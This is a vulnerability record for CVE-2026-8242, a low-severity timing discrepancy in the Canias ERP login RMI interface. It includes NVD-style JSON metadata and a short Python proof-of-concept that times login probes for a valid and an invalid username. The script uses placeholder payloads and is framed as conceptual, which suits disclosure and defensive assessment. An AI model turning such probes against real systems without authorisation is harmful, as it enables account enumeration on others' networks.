CVE-2026-8242

import socket import time # Conceptual PoC for CVE-2026-8242 # Demonstrates observable response discrepancy (Timing Attack) TARGET_IP = "192.168.1.100" TARGET_PORT = 1099 # Common RMI port, adjust based on environment def send_rmi_probe(payload): """Sends a payload to the target and measures response time.""" start_time = time.time() try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((TARGET_IP, TARGET_PORT)) # In a real scenario, the payload must be a valid RMI serialized object # specific to the 'doAction' function of Canias ERP. s.sendall(payload.encode('latin-1')) # Wait for response data = s.recv(4096) s.close() elapsed = time.time() - start_time return elapsed, len(data) except Exception as e: return -1, 0 # Example of checking for discrepancy # Payloads would need to be crafted to target the Login interface logic payload_valid_user = "<RMI_CALL_DOACTION>USER=admin</RMI_CALL_DOACTION>" payload_invalid_user = "<RMI_CALL_DOACTION>USER=invalid_xyz_123</RMI_CALL_DOACTION>" time_valid, size_valid = send_rmi_probe(payload_valid_user) time_invalid, size_invalid = send_rmi_probe(payload_invalid_user) print(f"Valid User Response Time: {time_valid:.5f}s, Size: {size_valid}") print(f"Invalid User Response Time: {time_invalid:.5f}s, Size: {size_invalid}") if time_valid > 0 and time_invalid > 0: diff = abs(time_valid - time_invalid) if diff > 0.1: # Threshold for observable discrepancy print(f"[!] Potential Vulnerability Detected: Time difference is {diff:.5f}s") else: print("[-] No significant timing difference detected.")

{"cve": {"id": "CVE-2026-8242", "sourceIdentifier": "[email protected]", "published": "2026-05-10T09:16:32.027", "lastModified": "2026-05-11T15:08:09.893", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in Industrial Application Software IAS Canias ERP 8.03. The impacted element is the function doAction of the component Login RMI Interface. Performing a manipulation results in observable response discrepancy. The attack is possible to be carried out remotely. A high degree of complexity is needed for the attack. The exploitability is regarded as difficult. The exploit has been made public and could be used. The vendor was contacted early about this disclosure but did not respond in any way."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.9, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:H/Au:N/C:P/I:N/A:N", "baseScore": 2.6, "accessVector": "NETWORK", "accessComplexity": "HIGH", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 4.9, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-203"}, {"lang": "en", "value": "CWE-204"}]}], "references": [{"url": "https://gist.github.com/0xb1lal/85422a63c10a001c75a22365457de624", "source": "[email protected]"}, {"url": "https://hawktrace.com/blog/caniaserp", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/808295", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362458", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/362458/cti", "source": "[email protected]"}]}}